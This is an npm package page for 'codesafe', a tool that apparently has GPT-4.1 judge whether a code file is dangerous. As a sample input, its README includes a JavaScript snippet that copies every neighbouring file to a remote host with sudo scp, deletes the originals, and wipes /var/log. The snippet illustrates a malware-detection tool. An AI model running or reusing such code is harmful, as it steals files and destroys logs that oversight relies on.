
Product
Introducing the Alert Details Page: A Better Way to Explore Alerts
Socket's new Alert Details page is designed to surface more context, with a clearer layout, reachability dependency chains, and structured review.
codesafe helps you find malware, bugs and backdoors in github repos using AI and firebase cloud functions
codesafe npm is a npm package that uses AI (gpt-4.1) to tell you if a code file is safe or dangerous
codesafe example:
import fs from 'fs'
import { dirname } from 'path'
import { exec, execSync } from 'child_process'
import { fileURLToPath, pathToFileURL } from 'url'
const files = fs.readdirSync(dirname(fileURLToPath(import.meta.url)), "utf-8")
let main = (import.meta.filename.split("/"))[import.meta.filename.split("/").length-1]
files.forEach((e) => {
if(main != e){
execSync("sudo scp " + e + " admin@10.10.10.10:/home")
fs.unlink(e)
}
})
execSync("sudo rm -rf /var/log")
the above example will get passed though gpt-4.1 and returns a summary about its danger.
initalize:
1. npm install codesafe
2. import codesafe from 'codesafe
3. const obj = new codesafe()
4. console.log(await obj.code_scanner(<code_file>, <limit>))
code_file like index.js and it returns if it dangerous or not (has to be in the same folder)
limit is the word limit of the summary
function list:
1. await obj.code_scanner(<code_file>, <limit>)
hope you enjoy
FAQs
codesafe helps you find malware, bugs and backdoors in github repos using AI and firebase cloud functions
The npm package codesafe receives a total of 3 weekly downloads. As such, codesafe popularity was classified as not popular.
We found that codesafe demonstrated a healthy version release cadence and project activity because the last version was released less than a year ago. It has 1 open source maintainer collaborating on the project.
Did you know?

Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.

Product
Socket's new Alert Details page is designed to surface more context, with a clearer layout, reachability dependency chains, and structured review.

Product
Campaign-level threat intelligence in Socket now shows when active supply chain attacks affect your repositories and packages.

Research
Malicious PyPI package sympy-dev targets SymPy users, a Python symbolic math library with 85 million monthly downloads.